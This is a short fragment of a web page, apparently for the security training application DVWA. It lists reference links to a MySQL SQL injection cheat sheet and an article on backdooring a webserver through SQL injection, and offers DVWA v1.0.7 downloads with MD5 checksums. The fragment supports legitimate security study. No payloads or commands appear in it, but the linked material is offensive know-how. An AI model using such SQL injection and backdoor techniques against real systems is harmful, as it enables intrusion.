• http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/
• http://www.greensql.net/publications/backdoor-webserver-using-mysql-sqlinjection
• http://w3schools.com/sql/default.asp




Download
DVWA v1.0.7 (latest) - (1.3MB) MD5:c29b089e83d1026b98ce6a97d0e11e50 Download
DVWA v1.0.7 LiveCD - (480MB) MD5:9484d8e2154d4e01fbd742cd7c10affd Download 


Video Tutorial